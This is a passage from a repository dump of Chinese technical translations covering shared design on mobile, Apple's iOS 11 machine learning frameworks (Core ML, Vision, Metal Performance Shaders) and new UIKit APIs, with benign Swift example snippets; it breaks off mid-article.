70年代，计算机界面复杂，不直观，需要大量的学习才能去使用它们。那些界面需要你记住大量的命令行并且在正确的时间回想起正确的那一个条目。人们很骄傲于自己能记住许多的命令和参数，而无需去查找手册。\n\n图形用户界面（GUI）是一个巨大的进步。不像那些为团队工作，在指定的计算机机房使用大型机或微型计算机的用户，个人电脑用户通常是在家或者在他们的办公室里试图弄明白自己的电脑和软件。他们没有时间去阅读手册或者去上一门课程只为了学习如何使用一个新的软件。有的人只是需要坐在他们的桌子前，打开一个软件，比如说电子表格，他们希望能够轻松使用它们。软件公司为了打开这部分市场必须让软件变得直观，好让你可以自己去探索如何使用它们。\n\n![](https://cdn-images-1.medium.com/freeze/max/30/1*4QMlSI-DHb0k7His7Hx84g.png?q=20)<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*4QMlSI-DHb0k7His7Hx84g.png\">\n\n以前微软 Excel 的工具栏\n\n比如，微软用了大量的时间去弄明白如何把软件设计地更加直观。我们可以针对他们在审美上是否成功保留见解，但是像 Excel 这样的软件来说它在市场上是非常成功的，因为用户有很多种方法去探索它里面的功能，只需要随处点击。这就是为什么工具栏和菜单栏看上去会像这样。它们很丑，但它们是有用的，因为它们足够**直观**。当然了，如果还不够简单，人们会去买书并跟着上面的步骤一步一步学习。我曾经花费了一个夏天的时间来实习，在一家叫做 Catapult Press 的公司作为[Microsoft Step by Step books](https://www.microsoftpressstore.com/series/series_detail.aspx?st=99028) 的「校验员」，当我在书中寻找错误的时候，我以最无聊的方式学习了这本书。\n\n在那个同样的时代，苹果花费了很多时间去弄明白如何让它们的操作系统变得尽可能地直观。苹果在 1987 年出版了一本书来介绍它们的人机交互指南，这本书从 Macintosh 时代甚至到互联网时代都[影响非凡](http://tantek.pbworks.com/w/page/34457520/Web%20Human%20Interface%20Guidelines) 。\n\n所有的这些作品都是基于出色的软件和产品设计师们在 80 年代和 90 年代的研究。Don Norman 的 [*Design of Everyday Things*（日常设计）](http://www.jnd.org/books/design-of-everyday-things-revised.html)在软件设计师中非常有影响力，尽管它是专注于工业设计（实物设计）。Brenda Laurel 的书 [*The Art of Human-Computer Interface Design*（人机交互设计的艺术）](https://www.amazon.com/exec/obidos/ASIN/0201517973/o/qid=981345710/sr=2-1/103-8893962-0315059)于 1990 年出版，它现在还在我的书架上。这些书都是具有开创性的作品，它们的影响力一直持续到了今天。\n#### **移动设备让一切变得触手可及**\n\n当 2008 年科技界开始聚焦于移动设备的时候，一切事都改变了。突然间，软件设计师不再只把坐在办公桌前为自己工作的人作为目标用户。世界各地的用户在自己的手机上使用他们所制作的 app，周围常常有其他人：他们的朋友们、家人们、同学和同事。\n\n![](https://cdn-images-1.medium.com/max/800/1*DTTjwC4XI41I6NTMzxUJlg.gif)\n\n物理世界的手势，就像滑动，放大，和点击这样的手势是自然和人性化的。\n\n当界面设计转变到移动设备之后，创造了两个互补的新趋势。一个是用到了更多的物理世界的手势。因为你会直接用你的手指去触摸软件，而不是用鼠标或键盘去操作它，这让人感觉更加人性化。甚至小孩子们也能明白这个：看看这个视频吧[小宝宝试着点击和放大一本杂志](https://www.youtube.com/watch?v=aXV-yaFmQNk)，因为他想要让它能像 iPad 一样运作。滑动，捏起，放大，点击：所有这些操作都在直观地模拟自然的人类身体手势。几年前我写了一篇文章，讲述了「[触摸的革命](https://techcrunch.com/2013/09/29/generation-touch-will-redraw-consumer-tech/) 」是怎样把不同的产品连接起来的，因为它们直接相互作用。\n\n第二个转变，这是许多界面设计师都还没有明白的，那就是人们在现实世界中通过观察他人来学习新的事物。大多数 18 岁的孩子们通过观察他们的朋友们来学习如何使用一个新应用。教程就在那里，在他们朋友的手机上，所以他们只需要把手机拿出来并向他们展示怎么做。\n\n这实际上是回归到一种我们原本去学习事物的方式。你通过观察其他人学习了扔一个球，捡起一顶帽子，系好你的鞋带还有打开一扇门。当你再长大一些，你可能通过别人的教导学会了如何骑自行车或者驾驶汽车。所以，如果现在应用变得更加物理化（在应用的层面），为什么我们不可以通过观察他人来学习它呢？\n\n你想知道如何使用 Snapchat 吗？套用 [Groucho Marx](https://www.brainyquote.com/quotes/quotes/g/grouchomar141793.html) 的话，这很容易：只需要[找到一个十几岁的孩子来告诉你](https://www.youtube.com/watch?v=T-VVv6D9ot0)。有些很会玩应用的人可以告诉你任何事，从怎样拍照片并在上面涂鸦到如何使用滤镜，如何得到隐藏颜色的画笔，比如黑色或白色，如何使用换脸功能，如何用二维码添加好友，甚至更多更多。\n\n#### **进入共享式设计**\n\n共享式设计深刻理解了人类的学习本能这一社会属性，并利用人们的欲望去学习和教学。\n\n在这方面做得很聪明，因为这些看似不起眼的特点是一个机会，让它的使用者们可以向他们的朋友去展示一些很酷的新玩意儿。给朋友看一些很酷的东西可以增加你的社交地位，或者是给你一种很棒的感觉。这绝对是你愿意去做的事！对于 Snapchat 来说，这是很棒的，因为它将你变成了一个它们产品的「传教士」，你甚至不觉得你在「传教」：你只是在教你的朋友如何灵活地做一件事。\n\n![](https://cdn-images-1.medium.com/max/800/1*RQYCS0leu9YR8TrLQUruaQ.gif) \n\nMusical.ly 的影片在 Instagram，Facebook 和 Twitter 上传播得非常广泛。\n\n像这样的分享也并不一定只发生在人之间。Musical.ly 在 2015 年开始成长为一个很酷的应用的时候，它是用来制作有趣的音乐视频的。当人们在 Instagram 或者 Facebook 上分享他们的 Musical.ly 视频的时候，你常常会看到他们的朋友询问这些东西是如何制作的。这给了人们一个机会说，「噢，我在用 Musical.ly。」它通过受众，一个人传播给另一个人的，因此 Musical.ly 成长地非常迅速。\n\n除了鼓励分享，这种设计还有两个好处。一，它使功能点变得非常难忘。如果有人告诉你在你的 iPhone 上长按一个人的名字，这样会有一个弹出菜单允许你把他们的信息保存到你的通讯录中，那你的印象会很深刻。这是一个与社交记忆相结合的物理记忆，所以它很容易在你脑海中留存。\n\n另一个好处是，这些功能不占用任何屏幕空间。手机的屏幕真的很小，所以屏幕上你可以安排给按钮和图标的地盘也非常非常小。很显然，上个世纪 90 年代 Windows 应用里那被占满的工具栏在这里是不好用的。但那些 「看不见」 的功能，比如一个长按，一个 3D touch 「重」 按，或从屏幕顶划到顶部，这些操作都没有在占用屏幕上的地盘。\n\n虽然我们还没有一本很好的书来介绍共享式设计，但是有些设计师，像 [Luke Wroblewski](http://www.lukew.com/)，写了很多关于移动设备设计的有意思的文章，里面已经有这样一些概念。当然，也有一些应用程序和操作系统的设计者们理解了这个理念：比如 Snapchat，PRISMA，最新版本的 iOS，甚至在一定程度上 Twitter 也是这样。\n\n我乐于看到更多的人研究和写关于共享式设计的文章。这是一个重要的领域，随着我们进入充满可穿戴设备，增强现实的更加多样化的移动设备世界，它会越发重要。如果你有什么好例子，也请多多沟通。\n"
  },
  {
    "path": "TODO/ios-11-machine-learning-for-everyone.md",
    "content": "> * 原文地址：[iOS 11: Machine Learning for everyone](http://machinethink.net/blog/ios-11-machine-learning-for-everyone/)\n> * 原文作者：本文已获原作者 [Matthijs Hollemans](https://twitter.com/mhollemans) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[Changkun Ou](https://github.com/changkun/)\n> * 校对者：[wilsonandusa](https://github.com/wilsonandusa) [atuooo](https://github.com/atuooo)\n\nWWDC 2017 使一件事情变得非常清楚，那就是：Apple 正在全力以赴地支持「**设备上的机器学习**」了。\n\n他们希望 App 的开发者们能够尽可能的简单的加入他们的行列中。\n\nApple 去年发布了可以用于创建基本的卷积神经网的 Metal CNN 和 BNNS 框架。今年，Metal 得到了进一步扩展，增加了一个全新的计算机视觉框架，以及 **Core ML**：一个能够轻松地将机器学习集成到 App 中的工具包。\n\n[![Core ML framework](http://machinethink.net/images/ios11/CoreML.png)](http://machinethink.net/images/ios11/CoreML.png)\n\n在这片文章中，我将就 iOS 11 和 macOS 10.13 中这些新推出的机器学习的内容，分享我自己的一些想法和经验。\n\n## Core ML\n\nCore ML 在 WWDC 上获得了极大的关注度，原因很简单：大部分开发者希望能够在他们的 App 中使用这个框架。\n\nCore ML 的 API 非常简单。你只能用它做这些事情：\n\n1. 加载一个训练好的模型\n2. 做出预测\n3. 收益！！！\n\n这看起来好像很有限，但实际上你一般只会在 App 中加载模型和做出预测这两件事。\n\n在 Core ML 之前，加载训练好的模型是非常困难的 —— 实际上，我写过[一个框架](http://github.com/hollance/Forge)来减轻这种痛苦。所以现在我对这一个简单的两步过程感到非常高兴。\n\n模型被包含在了一个 **.mlmodel** 的文件中。这是一种新的[开源文件格式](https://pypi.python.org/pypi/coremltools)，用于描述模型中的 layer、输入输出、标签，以及需要在数据上产生的任何预处理过程。它还包括了所有的学习参数（权重和偏置）。\n\n使用模型所需的一切都在这一个文件里面了。\n\n你只需要将 mlmodel 文件放入你的项目中，Xcode 将会自动生成一个 Swift 或 Objective-C 的包装类，使你能简单的使用这个模型。\n\n举个例子，如果你把文件 **ResNet50.mlmodel** 添加到你的 Xcode 项目中，那么你就可以这么写来实例化这个模型：\n\n```swift\nlet model = ResNet50()\n```\n\n\n然后做出预测：\n\n```swift\nlet pixelBuffer: CVPixelBuffer = /* your image */if let prediction = try? model.prediction(image: pixelBuffer) {\n  print(prediction.classLabel)\n}\n```\n\n\n这差不多就是所有要写的东西了。你不需要编写任何代码来加载模型，或者将其输出转换成可以从 Swift 直接使用的内容 —— 这一切都将由 Core ML 和 Xcode 来处理。\n\n**注意:** 要了解背后发生了什么，可以在 Project Navigator 里选择 **mlmodel** 文件，然后点击 Swift generated source 右边的箭头按钮，就能够查看生成的帮助代码了。\n\nCore ML 将决定自己到底是在 CPU 上运行还是 GPU 上运行。这使得它能够充分的利用可以用的资源。Core ML 甚至可以将模型分割成仅在 GPU 上执行的部分（需要大量计算的任务）以及 CPU 上的其他部分（需要大量内存的任务）。\n\nCore ML 使用 CPU 的能力对于我们开发者来说另一个很大的好处是：你可以从 iOS 模拟器运行它，从而运行那些对于 Metal 来说做不到，同时在单元测试中也不太好的任务。\n\n### Core ML 支持什么模型？\n\n上面的 ResNet50 例子展示的是一个图像分类器，但是 Core ML 可以处理几种不同类型的模型，如：\n\n- 支持向量机 SVM\n- 诸如随机森林和提升树的决策树集成\n- 线性回归和 logistic 回归\n- 前馈神经网、卷积神经网、递归神经网\n\n所有这些模型都可以用于回归问题和分类问题。此外，你的模型可以包含这些典型的机器学习预处理操作，例如独热编码（one-hot encoding）、特征缩放（feature scaling）、缺失值处理等等。\n\nApple 提供了很多已经训练好的模型[可供下载](http://developer.apple.com/machine-learning/)，例如 Inception v3、ResNet50 和 VGG16 等，但你也可以使用 [Core ML Tools](https://pypi.python.org/pypi/coremltools) 这个 Python 库来转换自己的模型。\n\n目前，你可以转换使用 Keras、Caffe、scikit-learn、XGBoost 和 libSVM 训练的模型。转换工具只会支持具体指定的版本，比如 Keras 支持 1.2.2 但不支持 2.0。辛运的是，该工具是开源的，所以毫无疑问它将来会支持更多的训练工具包。\n\n如果这些都不行，你还是可以随时编写自己的转换器。**mlmodel** 文件格式是开源且可以直接使用的（由 Apple 制定发布的一种 protobuf 格式）\n\n### 局限 \n\n如果你想在你的 App 上马上运行一个模型， Core ML 很不错。然而使用这样一个简单的 API 一定会有一些限制。\n\n- 仅支持**有监督**学习的模型，无监督学习和增强学习都是不行的。（不过有一个「通用」的神经网络类型支持，因此你可以使用它）\n- 设备上不能进行训练。你需要使用离线工具包来进行训练，然后将它们转换到 Core ML 格式。\n- 如果 Core ML 不支持某种类型的 layer，那么你就不能使用它。在这一点上，你**不能**使用自己的 kernel 来扩展 Core ML。在使用 TensorFlow 这样的工具来构建通用计算图模型时，mlmodel 文件格式可能就不那么灵活了。\n- Core ML 转换工具只支持**特定版本**的数量有限的训练工具。例如，如果你在 TensorFLow 中训练了一个模型，则无法使用此工具，你必须编写自己的转换脚本。正如我刚才提到的：如果你的 TensorFlow 模型具有一些 mlmodel 不支持的特性，那么你就不能在 Core ML 上使用你的模型。\n- 你不能查看**中间层**的输出，只能获得最后一层网络的预测值。\n- 我感觉下载模型更新会造成一些问题，如果你不想每次重新训练模型的时候都重写一个新版本的 App，那么 Core ML 不适合你。\n- Core ML 对外屏蔽了它是运行在 CPU 上还是 GPU 上的细节 —— 这很方便 —— 但你必须相信它对你的 App 能做出正确的事情。即便你真的需要，你也不能强迫 Core ML 运行在 GPU 上。\n\n如果你能够忍受这些限制，那么 Core ML 对你来说就是正确的选择。\n\n否则的话，如果你想要完全的控制权，那么你必须使用 Metal Performance Shader 或 Accelerate 框架 —— 甚至一起使用 —— 来驱动你的模型了！\n\n当然，真正的黑魔法不是 Core ML，而是你的模型。**如果你连模型都没有，Core ML 是没有用的**。而设计和训练一个模型就是机器学习的难点所在……\n\n### 一个快速示例程序\n\n我写了一个使用了 Core ML 的简单的示例项目，和往常一样，你可以在 GitHub 上找到[源码](https://github.com/hollance/MobileNet-CoreML)。\n\n[![The demo app in action](http://machinethink.net/images/ios11/Demo@2x.png)](http://machinethink.net/images/ios11/Demo@2x.png)\n\n这个示例程序使用了 [MobileNet](https://arxiv.org/abs/1704.04861v1) 架构来分类图片中的猫。\n\n最初这个模型是[用 Caffe 训练](https://github.com/shicai/MobileNet-Caffe)得出的。我花了一点时间来搞清楚如何将它转换到一个 mlmodel 文件，但是一旦我有了这个转换好的模型，便很容易集成到 App 中了（[转换脚本](https://github.com/hollance/MobileNet-CoreML/blob/master/Convert/coreml.py)包含在 GitHub 中）。\n\n虽然这个 App 不是很有趣 —— 它只输出了一张静态图片的前五个预测值 —— 但却展示了使用 Core ML 是多么的简单。几行代码就够了。\n\n**注意:** 示例程序在模拟器上工作正常，但是设备上运行就会崩溃。继续阅读来看看为什么会发生这种情况 ;-)\n\n当然，我想知道发生了什么事情。事实证明 **mlmodel** 实际上被编译进应用程序 bundle 的 **mlmodelc** 文件夹中了。这个文件夹里包含了一堆不同的文件，一些二进制文件，一些 JSON文件。所以你你可以看到 Core ML 是如何将 mlmodel 在实际部署到应用中之前进行转换的。\n\n例如，MobileNet Caffe 模型使用了批量归一化（Batch Normalization）层，我验证了这些转换也存在于 **mlmodel** 文件中。但是在编译的 mlmodelc 中，这些批量归一化 layer 似乎就被移除了。这是个好消息：Core ML 优化了该模型。\n\n尽管如此，它似乎可以更好的优化该模型的结构，因为 **mlmodelc** 仍然包含一些不必要的 scaling layer。\n\n当然，我们还处在 iOS 11 beta 1 的版本，Core ML 可能还会改进。也就是说，在应用到 Core ML 之前，还是值得对模型进一步优化的 —— 例如，[通过「folding」操作对 layer 进行批量归一化（Batch Normalization）](http://machinethink.net/blog/object-detection-with-yolo/#converting-to-metal)  —— 但这是你必须对你的特性模型进行测量和比较的东西。\n\n还有其他一些你必须检查的：你的模型是否在 CPU 和 GPU 上运行相同。我提到 Core ML 将选择是否在 CPU 上运行模型（使用 Accelerate 框架）或 GPU（使用 Metal ）。事实证明，这两个实现可能会有所不同 —— 所以你两个都需要测试！\n\n例如，MobileNet 使用所谓的「depthwise」卷积层。原始模型在 Caffe 中进行训练，Caffe 通过使正常卷积的 `groups` 属性等于输出通道的数量来支持 depthwise 卷积。所得到的 **MobileNet.mlmodel** 文件也一样。这在 iOS 模拟器中工作正常，但它在设备上就会崩溃！\n\n发生这一切的原因是：模拟器使用的是 Accelerate 框架，但是该设备上使用的却是 Metal Performance Shaders。由于 Metal 对数据进行编码方式的特殊性， `MPSCNNConvolution` 内核限制了：不能使 groups 数等于输出通道的数量。噢嚯！ \n\n我向 Apple 提交了一个 bug，但是我想说的是：模型能在模拟器上运行正常并不意味着它在设备上运行正常。**一定要测试！**\n\n### 有多快？\n\n我没有办法测试 Core ML 的速度，因为我的全新 10.5 寸 iPad Pro 下个星期才能到（呵呵）。\n\n我感兴趣的是我自己写的 [Forge 库](https://github.com/hollance/Forge)和 Core ML （考虑到我们都是一个早期的测试版）之间运行 MobileNets 之间的性能差异。\n\n敬请关注！当我有数据可以分享时，我会更新这一节内容。\n\n## Vision\n\n下一个要讨论的事情就是全新的 **Vision** 框架。\n\n你可能已经从它的名字中猜到了，Vision 可以让你执行**计算机视觉**任务。在以前你可能会使用 [OpenCV](http://opencv.org/)，但现在 iOS 有自己的 API 了。\n\n[![Happy people with square faces](http://machinethink.net/images/ios11/Vision@2x.png)](http://machinethink.net/images/ios11/Vision@2x.png)\n\nVision 可以执行的任务有以下几种：\n\n- 在图像中寻找人脸。然后对每个脸给出一个矩形框。\n- 寻找面部的详细特征，比如眼睛和嘴巴的位置，头部的形状等等。\n- 寻找矩形形状的图像，比如路标。\n- 追踪视频中移动的对象。\n- 确定地平线的角度。\n- 转换两个图像，使其内容对齐。这对于拼接照片非常有用。\n- 检测包含文本的图像中的区域。\n- 检测和识别条形码。\n\nCore Image 和 AVFoundation 已经可以实现其中的一些任务，但现在他们都集成在一个具有一致性 API 的框架内了。\n\n如果你的应用程序需要执行这些计算机视觉任务之一，再也不用跑去自己实现或使用别人的库了 - 只需使用 Vision 框架。你还可以将其与 Core Image 框架相结合，以获得更多的图像处理能力。\n\n更好的是：**你可以使用 Vision 驱动 Core ML**，这允许你使用这些计算机视觉技术作为神经网络的预处理步骤。例如，你可以使用 Vision 来检测人脸的位置和大小，将视频帧裁剪到该区域，然后在这部分的面部图像上运行神经网络。\n\n事实上，任何时候当你结合图像或者视频使用 Core ML 时，使用 Vision 都是合理的。原始的 Core ML 需要你确保输入图像是模型所期望的格式。如果使用 Vision 框架来负责调整图像大小等，这会为你节省不少力气。\n\n使用 Vision 来驱动 Core ML 的代码长这个样子：\n\n```swift\n// Core ML 的机器学习模型\nlet modelCoreML = ResNet50()\n```\n\n```swift\n// 将 Core ML 链接到 Vision\nlet visionModel = try? VNCoreMLModel(for: modelCoreML.model)\n```\n\n```swift\nlet classificationRequest = VNCoreMLRequest(model: visionModel) {\n  request, error iniflet observations = request.results as? [VNClassificationObservation] {\n    /* 进行预测 */\n  }\n}\n\nlet handler = VNImageRequestHandler(cgImage: yourImage)\ntry? handler.perform([classificationRequest])\n```\n\n\n请注意，`VNImageRequestHandler` 接受一个请求对象数组，允许你将多个计算机视觉任务链接在一起，如下所示：\n\n```swift\ntry? handler.perform([faceDetectionRequest, classificationRequest])\n```\n\n\nVision 使计算机视觉变得非常容易使用。 但对我们机器学习人员很酷的事情是，你可以将这些计算机视觉任务的输出输入到你的 Core ML 模型中。 结合 Core Image 的力量，批量图像处理就跟玩儿一样！\n\n## Metal Performance Shaders\n\n我最后一个想要讨论的话题就是 **Metal** —— Apple 的 GPU 编程 API。\n\n我今年为客户提供的很多工作涉及到使用 [Metal Performance Shaders (MPS)](http://machinethink.net/blog/convolutional-neural-networks-on-the-iphone-with-vggnet/) 来构建神经网络，并对其进行优化，从而获得最佳性能。但是 iOS 10 只提供了几个用于创建神经网络的基本 kernel。通常需要编写自定义的 kernel 来弥补这个缺陷。\n\n所以我很开心使用 iOS 11，可用的 kernel 已经增长了许多，更好的是：我们现在有一个用于构建图的 API 了！\n\n[![Metal Performance Shaders](http://machinethink.net/images/ios11/Metal@2x.png)](http://machinethink.net/images/ios11/Metal@2x.png)\n\n**注意:** 为什么要使用 MPS 而不是 Core ML？好问题！最大的原因是当 Core ML 不支持你想要做的事情时，或者当你想要完全的控制权并获得最大运行速度时。\n\nMPS 中对于机器学习来说的最大的变化是：\n\n**递归神经网络**。你现在可以创建 RNN，LSTM，GRU 和 MGU 层了。这些工作在 `MPSImage` 对象的序列上，但也适用于 `MPSMatrix` 对象的序列。这很有趣，因为所有其他 MPS layer 仅处理图像 —— 但显然，当你使用文本或其他非图像数据时，这不是很方便。\n\n**更多数据类型**。以前的权重应该是 32 位浮点数，但现在可以是 16 位浮点数（半精度），8 位整数，甚至是 2 进制数。卷积和 fully-connected 的 layer 可以用 2 进制权重和 2 进制化输入来完成。\n\n**更多的层**。到目前为止，我们不得不采用普通的常规卷积、最大池化和平均池化，但是在 iOS 11 MPS 中，你可以进行扩张卷积（Dilated Convolution）、子像素卷积（Subpixel Convolution）、转置卷积（Transposed Convolution）、上采样（Upsampling）和重采样（Resampling）、L2 范数池化（L2-norm pooling）、扩张最大池化（dilated max pooling），还有一些新的激活函数。 MPS 还没有所有的 Keras 或 Caffe layer 类型，但差距正在缩小...\n\n**更方便**。使用 `MPSImages` 总是有点奇怪，因为 Metal 每次以 4 个通道的片段组织数据（因为图像由 `MTLTexture` 对象支持）。但是现在，`MPSImage` 有用于读取和写入数据的方法，这些数据不会让你感到困惑。\n\n`MPSCNNConvolutionDescriptor` 还有一个新方法，可以让你在 layer 上设置批量归一化参数。这意味着你不再需要将批量归一化到卷积层中，而 MPS 会为你处理这些事情。非常方便！\n\n**性能改进**。现有的内核变得更快。这总是好消息。 🏎\n\n**图 API**。这是我最关心的消息。手动创建所有 layer 和（临时）图像总是令人讨厌的。现在你可以描述一个图，就像你在Keras 中一样。 MPS 将自动计算出图像需要多大，如何处理填充，如何设置 MPS 内核的 `offset` 等等。甚至可以通过融合不同的 layer 来优化整个图。\n\n看起来所有的 MPS 内核都可以使用 `NSSecureCoding` 进行序列化，这意味着你可以将图保存到文件中，然后将其还原。并且使用这个图来推断现在只是一个单一的方法调用。它不像 Core ML 那么简单，但使用 MPS 绝对比以前好用得多。\n\n有一件事情我目前还不太清楚，那就是我不知道你是否可以编写自己的 kernel 并在这个图中使用。在我客户的工作中，我发现通常需要使用 Metel Shading 语言编写的自定义着色器来进行预处理步骤。据我所知，似乎没有一个「`MPSNNCustomKernelNode`」类。这还要再多研究一下！\n\n结论：用于机器学习的 Metal Performance Shaders 已经在 iOS 11 中变得更加强大，但是大多数开发人员应该转而使用 Core ML（对于那些使用MPS的来说）。\n\n**注意**：新的图 API 使我的 [Forge 库](http://github.com/hollance/Forge)基本上过时了，除非你希望在 App 中继续支持 iOS 10。我将尽快将示例应用移植到新的图 API 上，然后将写一个更详细的博客文章。\n\n## 杂项\n\n还有一些其他的更新：\n\n**Accelerate 框架:** 似乎 [Accelerate 框架中的 BNNS](http://machinethink.net/blog/apple-deep-learning-bnns-versus-metal-cnn/) 并没有获得太多功能上的更新。它终于有了 Softmax 层，但 MPS 却没有新的 layer 类型。也许无关紧要：使用 CPU 进行深层神经网络可能不是一个好主意。也就是说，我喜欢 Accelerate，它有很多好玩的东西。而今年，它确实获得了对稀疏矩阵的更多支持，很棒。\n\n**自然语言处理:** Core ML不仅仅只能处理图像，它还可以处理大量不同类型的数据，包括文本。 使用的 API `NSLinguisticTagger` 类已经存在了一段时间，但是与 iOS 11 相比变得更加有效了。`NSLinguisticTagger` 现在已经能进行语言鉴别，词法分析，词性标注，词干提取和命名实体识别。\n\n我没有什么 NLP 的经验，所以我没办法比较它与其他 NLP 框架的区别，但`NSLinguisticTagger` 看起来相当强大。 如果要将 NLP 添加到 App 中，此 API 似乎是一个好的起点。\n\n## 都是好消息吗?\n\nApple 向我们开发者提供所有的这些新工具都非常的好，但是大多数 Apple API 都有一些很重要的问题：\n\n1. 闭源\n2. 有局限\n3. 只有在新 OS 发布时候才会更新\n\n这三个东西加在一起意味着苹果的 API **总会落后**于其他工具。如果 Keras 增加了一个很炫酷的新的 layer 类型，那么在 Apple 更新其框架和操作系统之前，你都没办法将它和 Core ML 一起使用了。\n\n如果某些 API 得到的计算结果并不是你想要的，你没办法简单的进去看看到底是 Core ML 的问题还是模型的问题，再去修复它 —— 你必须绕开 Core ML 来解决这个问题（并不总是可能的）；要么就只能等到下一个 OS 发布了（需要你所有的用户进行升级）。\n\n当然我不希望 Apple 放弃他们的秘密武器，但是就像其他大多数机器学习工具开源一样，为什么不让 Core ML 也开源呢？ 🙏\n\n我知道这对于 Apple 来说不可能马上发生，但当你决定在 App 中使用机器学习时，要记住上面的这些内容。\n\n\n\n**Matthijs Hollemans** 于 2017 年 6 月 11 日\n\n我希望这篇文章对你有所帮助！欢迎通过 Twitter [@mhollemans](https://twitter.com/mhollemans) 或 Email [matt@machinethink.net](mailto:matt@machinethink.net) 联系我。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/ios-11-notable-uikit-additions.md",
    "content": "> * 原文地址：[iOS 11: Notable UIKit Additions](https://medium.com/the-traveled-ios-developers-guide/ios-11-notable-uikit-additions-92e5eb421c3b)\n> * 原文作者：本文已获原作者 [Jordan Morgan](https://medium.com/@JordanMorgan10) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[zhangqippp](https://github.com/zhangqippp)\n> * 校对者：[Danny1451](https://github.com/Danny1451)，[atuooo](https://github.com/atuooo)\n\n# iOS 11：UIKit 中值得注意的新能力\n\n![](https://camo.githubusercontent.com/63483ef51131c9e01754955128f5154d1efd4e27/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f323030302f312a3661395976546c4f6d6c34414e466c43413036526e512e6a706567)\n\n本周每个 iOS 开发者都在热切地观看 W.W.D.C. 的宣讲视频 😜\n\n苹果的常用框架又有了新玩法\n\n在苹果的粉丝群体中被称为 #HairForceOne 的 Craig Federighi ，在 48 小时前揭开了 iOS 11 的新面目。毫无疑问我们又有了新的 API 可以研究。相比受到了重点照顾的 iPad ，苹果今年没有给 iPhone 过多的介绍。\n\n趁着还没有忘记，我总结了几条吸引我的新变化，顺序与重要性无关。\n\n#### UIStackView\n\n大家都喜爱的 UIStackView 只得到了一点点改变，但关键是这正是它所需要的。我曾经写过这样一篇文章 [stack view 的结构越复杂就越灵活](https://medium.com/the-traveled-ios-developers-guide/uistackview-a-field-guide-c1b64f098f6d) ，但是在它的强大和神奇的自动布局之外，有一点它做的不够好：改变它子视图之间的间距。\n\n在 iOS 11 中这一点得到了改善。事实上 PSPDFKit 的 [Pete Steinberger](https://twitter.com/steipete) 问大家 UIKit 的改善中什么使我们印象最深刻，我的第一想法是：\n\n![](https://ws2.sinaimg.cn/large/006tNbRwgy1fgdl477eldj30jp06tq3f.jpg)\n\n这个改善可以通过一个新的方法简单地实现：\n\n```\nlet view1 = UIView()\nlet view2 = UIView()\nlet view3 = UIView()\nlet view4 = UIView()\nlet horizontalStackView = UIStackView(arrangedSubviews: [view1, view2, view3, view4])\nhorizontalStackView.spacing = 10\n// Put another 10 points of spacing after view3\nhorizontalStackView.setCustomSpacing(10, after: view3)\n```\n\n我自己在使用 stack view 时无数次遇到上面这种场景，非常别扭。在旧版本的 UIStackView 的实现中，你只能将所有的间距设置为一致的值，或者添加一个 “spacer” 视图（ API 刚出现时就有的一个非常古老的属性）来添加间距。 \n\n如果你的 U.I. 需要以动画的形式增加或减少子视图之间的间距，稍后可以去查询和设置相关参数：\n\n    let currentPadding = horizontalStackView.customSpacing(after: view3)\n\n#### UITableView\n\n在开发者社区中一直有一个争论：table view 是否应该被一个 collection view 的  UITableViewFlowLayout 或者类似的东西取代。在 iOS 11 中，苹果重申了这两种组件是明确独立的两种组件，开发者应该根据场景选择使用哪种组件。\n\n首先，table view 默认你需要自动计算行高，设置了如下属性：\n\n    tv.estimatedRowHeight = UITableViewAutomaticDimension\n\n这种做法毁誉参半，在解决一些令人头疼的问题的同时，它本身也带来了一些问题（丢帧，内容边距计算问题，滚动条各种乱跳，等等）。\n\n这里注意了，如果你不想遭遇这种行为 —— 你确实有理由不想遭遇它，[你可以像这样倒退回 iOS 10](https://twitter.com/smileyborg/status/871859045925232641):\n\n    tv.estimatedRowHeight = 0\n\n我们可以以新的方式来给用户在 cell 上左右轻划的动作添加自定义行为，我们还能精确地得到用户是从首部还是尾部轻划。这些跟上下文相关的动作是已存在的 UITableViewRowAction 的加强版，UITableViewRowAction 是在 iOS 8 中添加的：\n\n    let itemNameRow = 0\n\n    func tableView(_ tableView: UITableView, leadingSwipeActionsConfigurationForRowAt indexPath: IndexPath) -> UISwipeActionsConfiguration?\n    {\n        if indexPath.row == itemNameRow\n        {\n            let editAction = UIContextualAction(style: .normal, title:  \"Edit\", handler: { (ac:UIContextualAction, view:UIView, success:(Bool) -> Void) in\n                 //do edit\n\n                 //The handler resets the context to its normal state, true shows a visual indication of completion\n                success(true)\n             })\n\n            editAction.image = UIImage(named: \"edit\")\n            editAction.backgroundColor = .purple\n\n            let copyAction = UIContextualAction(style: .normal, title: \"Copy\", handler: { (ac:UIContextualAction, view:UIView, success:(Bool) -> Void) in\n                     //do copy\n                    success(true)\n            })\n\n            return UISwipeActionsConfiguration(actions: [editAction, copyAction])\n         }\n\n        return nil\n    }\n\n这个代理方法的使用和尾部轻划的使用是一致的。另一个好处是我们可以设置一个默认的轻划动作，用于响应用户向左或向右的长轻划动作，如同原生邮箱中删除邮件时所做的那样：\n\n    let contextualGroup = UISwipeActionsConfiguration(actions: [editAction, copyAction])\n\n    contextualGroup.performsFirstActionWithFullSwipe = true\n\n    return contextualGroup\n\n这个属性的默认值是 true ，所以你得记得在不需要响应该动作时关掉它，尽管看起来大部分情况都应该响应。\n\n为了不被超过太多，table view 从它的小兄弟（译者注：collection view ）那里学了一招，table view 现在可以进行批量更新了： \n\n    let tv = UITableView()\n\n    tv.performBatchUpdates({ () -> Void in\n        tv.insertRows/deleteRows/insertSections/removeSections\n    }, completion:nil)\n\n#### UIPasteConfiguration\n\n这一部分在 “ What’s New in Cocoa Touch ” 